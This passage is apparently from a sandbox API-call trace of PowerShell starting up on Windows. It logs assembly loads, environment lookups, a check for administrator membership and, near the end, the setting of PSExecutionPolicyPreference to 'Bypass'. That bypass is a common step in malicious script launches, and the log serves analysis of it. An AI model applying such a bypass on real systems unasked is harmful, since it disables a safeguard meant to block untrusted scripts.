lplpBuffer=0x1ed7b8*=0x2e2ddd0, puLen=0x1ed7b0) returned 1 [0099.139] CoTaskMemAlloc (cb=0x104) returned 0x41e390 [0099.139] GetEnvironmentVariableW (in: lpName="MshEnableTrace", lpBuffer=0x41e390, nSize=0x80 | out: lpBuffer="") returned 0x0 [0099.139] CoTaskMemFree (pv=0x41e390) [0099.191] CoTaskMemAlloc (cb=0x104) returned 0x41e390 [0099.191] GetEnvironmentVariableW (in: lpName="MshEnableTrace", lpBuffer=0x41e390, nSize=0x80 | out: lpBuffer="") returned 0x0 [0099.192] CoTaskMemFree (pv=0x41e390) [0099.194] RegOpenKeyExW (in: hKey=0xffffffff80000002, lpSubKey="Software\\Microsoft\\PowerShell", ulOptions=0x0, samDesired=0x20019, phkResult=0x1ed688 | out: phkResult=0x1ed688*=0x308) returned 0x0 [0099.195] RegQueryValueExW (in: hKey=0x310, lpValueName="ApplicationBase", lpReserved=0x0, lpType=0x1ed64c, lpData=0x0, lpcbData=0x1ed648*=0x0 | out: lpType=0x1ed64c*=0x1, lpData=0x0, lpcbData=0x1ed648*=0x56) returned 0x0 [0099.196] CoTaskMemAlloc (cb=0x5a) returned 0x4c9c30 [0099.196] RegQueryValueExW (in: hKey=0x310, lpValueName="ApplicationBase", lpReserved=0x0, lpType=0x1ed61c, lpData=0x4c9c30, lpcbData=0x1ed618*=0x56 | out: lpType=0x1ed61c*=0x1, lpData="C:\\Windows\\System32\\WindowsPowerShell\\v1.0", lpcbData=0x1ed618*=0x56) returned 0x0 [0099.197] CoTaskMemFree (pv=0x4c9c30) [0099.203] GetFullPathNameW (in: lpFileName="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", nBufferLength=0x105, lpBuffer=0x1ed1a0, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", lpFilePart=0x0) returned 0x74 [0099.206] GetFullPathNameW (in: lpFileName="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", nBufferLength=0x105, lpBuffer=0x1ed1a0, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", lpFilePart=0x0) returned 0x74 [0099.223] GetFullPathNameW (in: lpFileName="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", nBufferLength=0x105, lpBuffer=0x1ed1a0, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", lpFilePart=0x0) returned 0x74 [0099.343] CoTaskMemAlloc (cb=0x104) returned 0x41e390 [0099.344] GetEnvironmentVariableW (in: lpName="MshEnableTrace", lpBuffer=0x41e390, nSize=0x80 | out: lpBuffer="") returned 0x0 [0099.344] CoTaskMemFree (pv=0x41e390) [0100.566] GetFullPathNameW (in: lpFileName="C:\\Windows\\assembly\\GAC_MSIL\\Microsoft.PowerShell.Commands.Diagnostics\\1.0.0.0__31bf3856ad364e35\\Microsoft.PowerShell.Commands.Diagnostics.dll", nBufferLength=0x105, lpBuffer=0x1ed240, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\assembly\\GAC_MSIL\\Microsoft.PowerShell.Commands.Diagnostics\\1.0.0.0__31bf3856ad364e35\\Microsoft.PowerShell.Commands.Diagnostics.dll", lpFilePart=0x0) returned 0x8e [0100.566] GetFullPathNameW (in: lpFileName="C:\\Windows\\assembly\\GAC_MSIL\\Microsoft.PowerShell.Commands.Diagnostics\\1.0.0.0__31bf3856ad364e35\\Microsoft.PowerShell.Commands.Diagnostics.dll", nBufferLength=0x105, lpBuffer=0x1ed240, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\assembly\\GAC_MSIL\\Microsoft.PowerShell.Commands.Diagnostics\\1.0.0.0__31bf3856ad364e35\\Microsoft.PowerShell.Commands.Diagnostics.dll", lpFilePart=0x0) returned 0x8e [0101.177] CoTaskMemAlloc (cb=0x104) returned 0x41e4a0 [0101.177] GetEnvironmentVariableW (in: lpName="MshEnableTrace", lpBuffer=0x41e4a0, nSize=0x80 | out: lpBuffer="") returned 0x0 [0101.177] CoTaskMemFree (pv=0x41e4a0) [0101.177] CoTaskMemAlloc (cb=0x104) returned 0x41e4a0 [0101.177] GetEnvironmentVariableW (in: lpName="MshEnableTrace", lpBuffer=0x41e4a0, nSize=0x80 | out: lpBuffer="") returned 0x0 [0101.177] CoTaskMemFree (pv=0x41e4a0) [0101.305] CoTaskMemAlloc (cb=0x104) returned 0x41e4a0 [0101.305] GetEnvironmentVariableW (in: lpName="MshEnableTrace", lpBuffer=0x41e4a0, nSize=0x80 | out: lpBuffer="") returned 0x0 [0101.305] CoTaskMemFree (pv=0x41e4a0) [0101.334] CoTaskMemAlloc (cb=0x104) returned 0x41e4a0 [0101.334] GetEnvironmentVariableW (in: lpName="MshEnableTrace", lpBuffer=0x41e4a0, nSize=0x80 | out: lpBuffer="") returned 0x0 [0101.334] CoTaskMemFree (pv=0x41e4a0) [0101.334] CoTaskMemAlloc (cb=0x104) returned 0x41e4a0 [0101.334] GetEnvironmentVariableW (in: lpName="MshEnableTrace", lpBuffer=0x41e4a0, nSize=0x80 | out: lpBuffer="") returned 0x0 [0101.334] CoTaskMemFree (pv=0x41e4a0) [0101.647] GetFullPathNameW (in: lpFileName="C:\\Windows\\assembly\\GAC_MSIL\\Microsoft.WSMan.Management\\1.0.0.0__31bf3856ad364e35\\Microsoft.WSMan.Management.dll", nBufferLength=0x105, lpBuffer=0x1ed240, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\assembly\\GAC_MSIL\\Microsoft.WSMan.Management\\1.0.0.0__31bf3856ad364e35\\Microsoft.WSMan.Management.dll", lpFilePart=0x0) returned 0x70 [0101.648] GetFullPathNameW (in: lpFileName="C:\\Windows\\assembly\\GAC_MSIL\\Microsoft.WSMan.Management\\1.0.0.0__31bf3856ad364e35\\Microsoft.WSMan.Management.dll", nBufferLength=0x105, lpBuffer=0x1ed240, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\assembly\\GAC_MSIL\\Microsoft.WSMan.Management\\1.0.0.0__31bf3856ad364e35\\Microsoft.WSMan.Management.dll", lpFilePart=0x0) returned 0x70 [0101.711] CoTaskMemAlloc (cb=0x104) returned 0x41e4a0 [0101.711] GetEnvironmentVariableW (in: lpName="MshEnableTrace", lpBuffer=0x41e4a0, nSize=0x80 | out: lpBuffer="") returned 0x0 [0101.711] CoTaskMemFree (pv=0x41e4a0) [0101.763] CoTaskMemAlloc (cb=0x104) returned 0x41e4a0 [0101.763] GetEnvironmentVariableW (in: lpName="MshEnableTrace", lpBuffer=0x41e4a0, nSize=0x80 | out: lpBuffer="") returned 0x0 [0101.763] CoTaskMemFree (pv=0x41e4a0) [0101.821] GetFullPathNameW (in: lpFileName="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", nBufferLength=0x105, lpBuffer=0x1ed240, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", lpFilePart=0x0) returned 0x74 [0101.821] GetFullPathNameW (in: lpFileName="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", nBufferLength=0x105, lpBuffer=0x1ed240, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", lpFilePart=0x0) returned 0x74 [0102.530] GetFullPathNameW (in: lpFileName="C:\\Windows\\assembly\\GAC_MSIL\\Microsoft.PowerShell.Commands.Utility\\1.0.0.0__31bf3856ad364e35\\Microsoft.PowerShell.Commands.Utility.dll", nBufferLength=0x105, lpBuffer=0x1ed240, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\assembly\\GAC_MSIL\\Microsoft.PowerShell.Commands.Utility\\1.0.0.0__31bf3856ad364e35\\Microsoft.PowerShell.Commands.Utility.dll", lpFilePart=0x0) returned 0x86 [0102.530] GetFullPathNameW (in: lpFileName="C:\\Windows\\assembly\\GAC_MSIL\\Microsoft.PowerShell.Commands.Utility\\1.0.0.0__31bf3856ad364e35\\Microsoft.PowerShell.Commands.Utility.dll", nBufferLength=0x105, lpBuffer=0x1ed240, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\assembly\\GAC_MSIL\\Microsoft.PowerShell.Commands.Utility\\1.0.0.0__31bf3856ad364e35\\Microsoft.PowerShell.Commands.Utility.dll", lpFilePart=0x0) returned 0x86 [0102.861] GetFullPathNameW (in: lpFileName="C:\\Windows\\assembly\\GAC_MSIL\\Microsoft.PowerShell.Commands.Management\\1.0.0.0__31bf3856ad364e35\\Microsoft.PowerShell.Commands.Management.dll", nBufferLength=0x105, lpBuffer=0x1ed240, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\assembly\\GAC_MSIL\\Microsoft.PowerShell.Commands.Management\\1.0.0.0__31bf3856ad364e35\\Microsoft.PowerShell.Commands.Management.dll", lpFilePart=0x0) returned 0x8c [0102.861] GetFullPathNameW (in: lpFileName="C:\\Windows\\assembly\\GAC_MSIL\\Microsoft.PowerShell.Commands.Management\\1.0.0.0__31bf3856ad364e35\\Microsoft.PowerShell.Commands.Management.dll", nBufferLength=0x105, lpBuffer=0x1ed240, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\assembly\\GAC_MSIL\\Microsoft.PowerShell.Commands.Management\\1.0.0.0__31bf3856ad364e35\\Microsoft.PowerShell.Commands.Management.dll", lpFilePart=0x0) returned 0x8c [0103.206] GetFullPathNameW (in: lpFileName="C:\\Windows\\assembly\\GAC_MSIL\\Microsoft.PowerShell.Security\\1.0.0.0__31bf3856ad364e35\\Microsoft.PowerShell.Security.dll", nBufferLength=0x105, lpBuffer=0x1ed240, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\assembly\\GAC_MSIL\\Microsoft.PowerShell.Security\\1.0.0.0__31bf3856ad364e35\\Microsoft.PowerShell.Security.dll", lpFilePart=0x0) returned 0x76 [0103.206] GetFullPathNameW (in: lpFileName="C:\\Windows\\assembly\\GAC_MSIL\\Microsoft.PowerShell.Security\\1.0.0.0__31bf3856ad364e35\\Microsoft.PowerShell.Security.dll", nBufferLength=0x105, lpBuffer=0x1ed240, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\assembly\\GAC_MSIL\\Microsoft.PowerShell.Security\\1.0.0.0__31bf3856ad364e35\\Microsoft.PowerShell.Security.dll", lpFilePart=0x0) returned 0x76 [0103.457] CoTaskMemAlloc (cb=0x104) returned 0x41e6c0 [0103.457] GetEnvironmentVariableW (in: lpName="MshEnableTrace", lpBuffer=0x41e6c0, nSize=0x80 | out: lpBuffer="") returned 0x0 [0103.457] CoTaskMemFree (pv=0x41e6c0) [0103.486] GetFullPathNameW (in: lpFileName="C:\\Windows\\assembly\\GAC_MSIL\\Microsoft.PowerShell.ConsoleHost\\1.0.0.0__31bf3856ad364e35\\Microsoft.PowerShell.ConsoleHost.dll", nBufferLength=0x105, lpBuffer=0x1ed440, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\assembly\\GAC_MSIL\\Microsoft.PowerShell.ConsoleHost\\1.0.0.0__31bf3856ad364e35\\Microsoft.PowerShell.ConsoleHost.dll", lpFilePart=0x0) returned 0x7c [0103.487] GetFullPathNameW (in: lpFileName="C:\\Windows\\assembly\\GAC_MSIL\\Microsoft.PowerShell.ConsoleHost\\1.0.0.0__31bf3856ad364e35\\Microsoft.PowerShell.ConsoleHost.dll", nBufferLength=0x105, lpBuffer=0x1ed390, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\assembly\\GAC_MSIL\\Microsoft.PowerShell.ConsoleHost\\1.0.0.0__31bf3856ad364e35\\Microsoft.PowerShell.ConsoleHost.dll", lpFilePart=0x0) returned 0x7c [0103.487] GetFullPathNameW (in: lpFileName="C:\\Windows\\assembly\\GAC_MSIL\\Microsoft.PowerShell.ConsoleHost\\1.0.0.0__31bf3856ad364e35\\Microsoft.PowerShell.ConsoleHost.dll", nBufferLength=0x105, lpBuffer=0x1ed390, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\assembly\\GAC_MSIL\\Microsoft.PowerShell.ConsoleHost\\1.0.0.0__31bf3856ad364e35\\Microsoft.PowerShell.ConsoleHost.dll", lpFilePart=0x0) returned 0x7c [0103.547] GetFullPathNameW (in: lpFileName="C:\\Windows\\assembly\\GAC_MSIL\\Microsoft.PowerShell.ConsoleHost\\1.0.0.0__31bf3856ad364e35\\Microsoft.PowerShell.ConsoleHost.dll", nBufferLength=0x105, lpBuffer=0x1ed390, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\assembly\\GAC_MSIL\\Microsoft.PowerShell.ConsoleHost\\1.0.0.0__31bf3856ad364e35\\Microsoft.PowerShell.ConsoleHost.dll", lpFilePart=0x0) returned 0x7c [0103.946] SetErrorMode (uMode=0x1) returned 0x1 [0103.946] GetFileAttributesExW (in: lpFileName="C:\\Windows\\System32\\WindowsPowerShell\\v1.0\\poWerSHell.config" (normalized: "c:\\windows\\system32\\windowspowershell\\v1.0\\powershell.config"), fInfoLevelId=0x0, lpFileInformation=0x1ed5e0 | out: lpFileInformation=0x1ed5e0*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 0 [0103.946] SetErrorMode (uMode=0x1) returned 0x1 [0104.741] GetFullPathNameW (in: lpFileName="C:\\Windows\\assembly\\GAC_MSIL\\Microsoft.PowerShell.ConsoleHost\\1.0.0.0__31bf3856ad364e35\\Microsoft.PowerShell.ConsoleHost.dll", nBufferLength=0x105, lpBuffer=0x1ed440, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\assembly\\GAC_MSIL\\Microsoft.PowerShell.ConsoleHost\\1.0.0.0__31bf3856ad364e35\\Microsoft.PowerShell.ConsoleHost.dll", lpFilePart=0x0) returned 0x7c [0104.741] GetFullPathNameW (in: lpFileName="C:\\Windows\\assembly\\GAC_MSIL\\Microsoft.PowerShell.ConsoleHost\\1.0.0.0__31bf3856ad364e35\\Microsoft.PowerShell.ConsoleHost.dll", nBufferLength=0x105, lpBuffer=0x1ed390, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\assembly\\GAC_MSIL\\Microsoft.PowerShell.ConsoleHost\\1.0.0.0__31bf3856ad364e35\\Microsoft.PowerShell.ConsoleHost.dll", lpFilePart=0x0) returned 0x7c [0104.741] GetFullPathNameW (in: lpFileName="C:\\Windows\\assembly\\GAC_MSIL\\Microsoft.PowerShell.ConsoleHost\\1.0.0.0__31bf3856ad364e35\\Microsoft.PowerShell.ConsoleHost.dll", nBufferLength=0x105, lpBuffer=0x1ed390, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\assembly\\GAC_MSIL\\Microsoft.PowerShell.ConsoleHost\\1.0.0.0__31bf3856ad364e35\\Microsoft.PowerShell.ConsoleHost.dll", lpFilePart=0x0) returned 0x7c [0104.743] CoTaskMemAlloc (cb=0x104) returned 0x41e6c0 [0104.743] GetEnvironmentVariableW (in: lpName="MshEnableTrace", lpBuffer=0x41e6c0, nSize=0x80 | out: lpBuffer="") returned 0x0 [0104.743] CoTaskMemFree (pv=0x41e6c0) [0104.770] CoTaskMemAlloc (cb=0x104) returned 0x41e6c0 [0104.770] GetEnvironmentVariableW (in: lpName="MshEnableTrace", lpBuffer=0x41e6c0, nSize=0x80 | out: lpBuffer="") returned 0x0 [0104.770] CoTaskMemFree (pv=0x41e6c0) [0104.771] CoTaskMemAlloc (cb=0x104) returned 0x41e6c0 [0104.771] GetEnvironmentVariableW (in: lpName="MshEnableTrace", lpBuffer=0x41e6c0, nSize=0x80 | out: lpBuffer="") returned 0x0 [0104.771] CoTaskMemFree (pv=0x41e6c0) [0104.831] CoCreateGuid (in: pguid=0x1ed9a8 | out: pguid=0x1ed9a8*(Data1=0xf0be9a3f, Data2=0xb35b, Data3=0x4b7e, Data4=([0]=0xb6, [1]=0x6c, [2]=0xc, [3]=0xff, [4]=0x2e, [5]=0xc8, [6]=0x57, [7]=0xcb))) returned 0x0 [0104.861] CoTaskMemAlloc (cb=0x104) returned 0x41e6c0 [0104.861] GetEnvironmentVariableW (in: lpName="MshEnableTrace", lpBuffer=0x41e6c0, nSize=0x80 | out: lpBuffer="") returned 0x0 [0104.862] CoTaskMemFree (pv=0x41e6c0) [0104.865] CoTaskMemAlloc (cb=0x104) returned 0x41e6c0 [0104.865] GetEnvironmentVariableW (in: lpName="MshEnableTrace", lpBuffer=0x41e6c0, nSize=0x80 | out: lpBuffer="") returned 0x0 [0104.865] CoTaskMemFree (pv=0x41e6c0) [0104.868] CoTaskMemAlloc (cb=0x104) returned 0x41e6c0 [0104.868] GetEnvironmentVariableW (in: lpName="MshEnableTrace", lpBuffer=0x41e6c0, nSize=0x80 | out: lpBuffer="") returned 0x0 [0104.868] CoTaskMemFree (pv=0x41e6c0) [0104.875] CreateFileW (lpFileName="CONOUT$" (normalized: "conout$"), dwDesiredAccess=0xc0000000, dwShareMode=0x2, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xf [0104.876] GetConsoleScreenBufferInfo (in: hConsoleOutput=0xf, lpConsoleScreenBufferInfo=0x1ed650 | out: lpConsoleScreenBufferInfo=0x1ed650) returned 1 [0104.882] CreateFileW (lpFileName="CONOUT$" (normalized: "conout$"), dwDesiredAccess=0xc0000000, dwShareMode=0x2, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x13 [0104.882] GetConsoleScreenBufferInfo (in: hConsoleOutput=0x13, lpConsoleScreenBufferInfo=0x1ed650 | out: lpConsoleScreenBufferInfo=0x1ed650) returned 1 [0104.886] GetCurrentProcess () returned 0xffffffffffffffff [0104.887] OpenProcessToken (in: ProcessHandle=0xffffffffffffffff, DesiredAccess=0x2000000, TokenHandle=0x1ed678 | out: TokenHandle=0x1ed678*=0x324) returned 1 [0104.891] GetTokenInformation (in: TokenHandle=0x324, TokenInformationClass=0x8, TokenInformation=0x0, TokenInformationLength=0x0, ReturnLength=0x1ed598 | out: TokenInformation=0x0, ReturnLength=0x1ed598) returned 0 [0104.892] LocalAlloc (uFlags=0x0, uBytes=0x4) returned 0x427da0 [0104.892] GetTokenInformation (in: TokenHandle=0x324, TokenInformationClass=0x8, TokenInformation=0x427da0, TokenInformationLength=0x4, ReturnLength=0x1ed598 | out: TokenInformation=0x427da0, ReturnLength=0x1ed598) returned 1 [0104.894] DuplicateTokenEx (in: hExistingToken=0x324, dwDesiredAccess=0x8, lpTokenAttributes=0x0, ImpersonationLevel=0x2, TokenType=0x2, phNewToken=0x1ed6f8 | out: phNewToken=0x1ed6f8*=0x320) returned 1 [0104.894] GetTokenInformation (in: TokenHandle=0x324, TokenInformationClass=0x8, TokenInformation=0x0, TokenInformationLength=0x0, ReturnLength=0x1ed598 | out: TokenInformation=0x0, ReturnLength=0x1ed598) returned 0 [0104.894] LocalAlloc (uFlags=0x0, uBytes=0x4) returned 0x427dd0 [0104.894] GetTokenInformation (in: TokenHandle=0x324, TokenInformationClass=0x8, TokenInformation=0x427dd0, TokenInformationLength=0x4, ReturnLength=0x1ed598 | out: TokenInformation=0x427dd0, ReturnLength=0x1ed598) returned 1 [0104.895] CheckTokenMembership (in: TokenHandle=0x320, SidToCheck=0x2f08b50*(Revision=0x1, SubAuthorityCount=0x2, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x5), SubAuthority=([0]=0x20, [1]=0x0)), IsMember=0x1ed708 | out: IsMember=0x1ed708) returned 1 [0104.895] CloseHandle (hObject=0x320) returned 1 [0104.896] GetFullPathNameW (in: lpFileName="C:\\Windows\\assembly\\GAC_MSIL\\Microsoft.PowerShell.ConsoleHost\\1.0.0.0__31bf3856ad364e35\\Microsoft.PowerShell.ConsoleHost.dll", nBufferLength=0x105, lpBuffer=0x1ed1d0, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\assembly\\GAC_MSIL\\Microsoft.PowerShell.ConsoleHost\\1.0.0.0__31bf3856ad364e35\\Microsoft.PowerShell.ConsoleHost.dll", lpFilePart=0x0) returned 0x7c [0104.896] GetFullPathNameW (in: lpFileName="C:\\Windows\\assembly\\GAC_MSIL\\Microsoft.PowerShell.ConsoleHost\\1.0.0.0__31bf3856ad364e35\\Microsoft.PowerShell.ConsoleHost.dll", nBufferLength=0x105, lpBuffer=0x1ed120, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\assembly\\GAC_MSIL\\Microsoft.PowerShell.ConsoleHost\\1.0.0.0__31bf3856ad364e35\\Microsoft.PowerShell.ConsoleHost.dll", lpFilePart=0x0) returned 0x7c [0104.896] GetFullPathNameW (in: lpFileName="C:\\Windows\\assembly\\GAC_MSIL\\Microsoft.PowerShell.ConsoleHost\\1.0.0.0__31bf3856ad364e35\\Microsoft.PowerShell.ConsoleHost.dll", nBufferLength=0x105, lpBuffer=0x1ed120, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\assembly\\GAC_MSIL\\Microsoft.PowerShell.ConsoleHost\\1.0.0.0__31bf3856ad364e35\\Microsoft.PowerShell.ConsoleHost.dll", lpFilePart=0x0) returned 0x7c [0104.896] GetFullPathNameW (in: lpFileName="C:\\Windows\\assembly\\GAC_MSIL\\Microsoft.PowerShell.ConsoleHost\\1.0.0.0__31bf3856ad364e35\\Microsoft.PowerShell.ConsoleHost.dll", nBufferLength=0x105, lpBuffer=0x1ed120, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\assembly\\GAC_MSIL\\Microsoft.PowerShell.ConsoleHost\\1.0.0.0__31bf3856ad364e35\\Microsoft.PowerShell.ConsoleHost.dll", lpFilePart=0x0) returned 0x7c [0104.936] GetFullPathNameW (in: lpFileName="C:\\Windows\\assembly\\GAC_MSIL\\Microsoft.PowerShell.ConsoleHost\\1.0.0.0__31bf3856ad364e35\\Microsoft.PowerShell.ConsoleHost.dll", nBufferLength=0x105, lpBuffer=0x1ed1d0, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\assembly\\GAC_MSIL\\Microsoft.PowerShell.ConsoleHost\\1.0.0.0__31bf3856ad364e35\\Microsoft.PowerShell.ConsoleHost.dll", lpFilePart=0x0) returned 0x7c [0104.936] GetFullPathNameW (in: lpFileName="C:\\Windows\\assembly\\GAC_MSIL\\Microsoft.PowerShell.ConsoleHost\\1.0.0.0__31bf3856ad364e35\\Microsoft.PowerShell.ConsoleHost.dll", nBufferLength=0x105, lpBuffer=0x1ed120, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\assembly\\GAC_MSIL\\Microsoft.PowerShell.ConsoleHost\\1.0.0.0__31bf3856ad364e35\\Microsoft.PowerShell.ConsoleHost.dll", lpFilePart=0x0) returned 0x7c [0104.936] GetFullPathNameW (in: lpFileName="C:\\Windows\\assembly\\GAC_MSIL\\Microsoft.PowerShell.ConsoleHost\\1.0.0.0__31bf3856ad364e35\\Microsoft.PowerShell.ConsoleHost.dll", nBufferLength=0x105, lpBuffer=0x1ed120, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\assembly\\GAC_MSIL\\Microsoft.PowerShell.ConsoleHost\\1.0.0.0__31bf3856ad364e35\\Microsoft.PowerShell.ConsoleHost.dll", lpFilePart=0x0) returned 0x7c [0104.936] GetFullPathNameW (in: lpFileName="C:\\Windows\\assembly\\GAC_MSIL\\Microsoft.PowerShell.ConsoleHost\\1.0.0.0__31bf3856ad364e35\\Microsoft.PowerShell.ConsoleHost.dll", nBufferLength=0x105, lpBuffer=0x1ed1d0, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\assembly\\GAC_MSIL\\Microsoft.PowerShell.ConsoleHost\\1.0.0.0__31bf3856ad364e35\\Microsoft.PowerShell.ConsoleHost.dll", lpFilePart=0x0) returned 0x7c [0104.937] GetFullPathNameW (in: lpFileName="C:\\Windows\\assembly\\GAC_MSIL\\Microsoft.PowerShell.ConsoleHost\\1.0.0.0__31bf3856ad364e35\\Microsoft.PowerShell.ConsoleHost.dll", nBufferLength=0x105, lpBuffer=0x1ed120, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\assembly\\GAC_MSIL\\Microsoft.PowerShell.ConsoleHost\\1.0.0.0__31bf3856ad364e35\\Microsoft.PowerShell.ConsoleHost.dll", lpFilePart=0x0) returned 0x7c [0104.937] GetFullPathNameW (in: lpFileName="C:\\Windows\\assembly\\GAC_MSIL\\Microsoft.PowerShell.ConsoleHost\\1.0.0.0__31bf3856ad364e35\\Microsoft.PowerShell.ConsoleHost.dll", nBufferLength=0x105, lpBuffer=0x1ed120, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\assembly\\GAC_MSIL\\Microsoft.PowerShell.ConsoleHost\\1.0.0.0__31bf3856ad364e35\\Microsoft.PowerShell.ConsoleHost.dll", lpFilePart=0x0) returned 0x7c [0104.951] GetFullPathNameW (in: lpFileName="C:\\Windows\\assembly\\GAC_MSIL\\Microsoft.PowerShell.ConsoleHost\\1.0.0.0__31bf3856ad364e35\\Microsoft.PowerShell.ConsoleHost.dll", nBufferLength=0x105, lpBuffer=0x1ed220, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\assembly\\GAC_MSIL\\Microsoft.PowerShell.ConsoleHost\\1.0.0.0__31bf3856ad364e35\\Microsoft.PowerShell.ConsoleHost.dll", lpFilePart=0x0) returned 0x7c [0104.951] GetFullPathNameW (in: lpFileName="C:\\Windows\\assembly\\GAC_MSIL\\Microsoft.PowerShell.ConsoleHost\\1.0.0.0__31bf3856ad364e35\\Microsoft.PowerShell.ConsoleHost.dll", nBufferLength=0x105, lpBuffer=0x1ed170, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\assembly\\GAC_MSIL\\Microsoft.PowerShell.ConsoleHost\\1.0.0.0__31bf3856ad364e35\\Microsoft.PowerShell.ConsoleHost.dll", lpFilePart=0x0) returned 0x7c [0104.951] GetFullPathNameW (in: lpFileName="C:\\Windows\\assembly\\GAC_MSIL\\Microsoft.PowerShell.ConsoleHost\\1.0.0.0__31bf3856ad364e35\\Microsoft.PowerShell.ConsoleHost.dll", nBufferLength=0x105, lpBuffer=0x1ed170, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\assembly\\GAC_MSIL\\Microsoft.PowerShell.ConsoleHost\\1.0.0.0__31bf3856ad364e35\\Microsoft.PowerShell.ConsoleHost.dll", lpFilePart=0x0) returned 0x7c [0104.951] GetFullPathNameW (in: lpFileName="C:\\Windows\\assembly\\GAC_MSIL\\Microsoft.PowerShell.ConsoleHost\\1.0.0.0__31bf3856ad364e35\\Microsoft.PowerShell.ConsoleHost.dll", nBufferLength=0x105, lpBuffer=0x1ed170, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\assembly\\GAC_MSIL\\Microsoft.PowerShell.ConsoleHost\\1.0.0.0__31bf3856ad364e35\\Microsoft.PowerShell.ConsoleHost.dll", lpFilePart=0x0) returned 0x7c [0105.077] CoTaskMemAlloc (cb=0x104) returned 0x41e6c0 [0105.078] GetEnvironmentVariableW (in: lpName="MshEnableTrace", lpBuffer=0x41e6c0, nSize=0x80 | out: lpBuffer="") returned 0x0 [0105.078] CoTaskMemFree (pv=0x41e6c0) [0105.079] CoTaskMemAlloc (cb=0x104) returned 0x41e6c0 [0105.079] GetEnvironmentVariableW (in: lpName="MshEnableTrace", lpBuffer=0x41e6c0, nSize=0x80 | out: lpBuffer="") returned 0x0 [0105.079] CoTaskMemFree (pv=0x41e6c0) [0105.699] CoTaskMemAlloc (cb=0x104) returned 0x41e6c0 [0105.699] GetEnvironmentVariableW (in: lpName="MshEnableTrace", lpBuffer=0x41e6c0, nSize=0x80 | out: lpBuffer="") returned 0x0 [0105.700] CoTaskMemFree (pv=0x41e6c0) [0106.256] GetConsoleWindow () returned 0x20280 [0106.265] CoTaskMemAlloc (cb=0x104) returned 0x41e6c0 [0106.265] GetEnvironmentVariableW (in: lpName="MshEnableTrace", lpBuffer=0x41e6c0, nSize=0x80 | out: lpBuffer="") returned 0x0 [0106.265] CoTaskMemFree (pv=0x41e6c0) [0106.270] SetEnvironmentVariableW (lpName="PSExecutionPolicyPreference", lpValue="Bypass") returned 1 [0106.376] CoCreateGuid (in: pguid=0x1ed7f0 | out: pguid=0x1ed7f0*(Data1=0x4ae6b6df, Data2=0xf94c, Data3=0x4adb, Data4=([0]=0xa5, [1]=0xf5, [2]=0x6f, [3]=0xaa, [4]=0xe7, [5]=0x7c, [6]=0xaf, [7]=0x54))) returned 0x0 [0106.393] CoTaskMemAlloc (cb=0x104) returned 0x41e6c0 [0106.393] GetEnvironmentVariableW (in: lpName="MshEnableTrace", lpBuffer=0x41e6c0, nSize=0x80 | out: lpBuffer="") returned 0x0 [0106.393] CoTaskMemFree 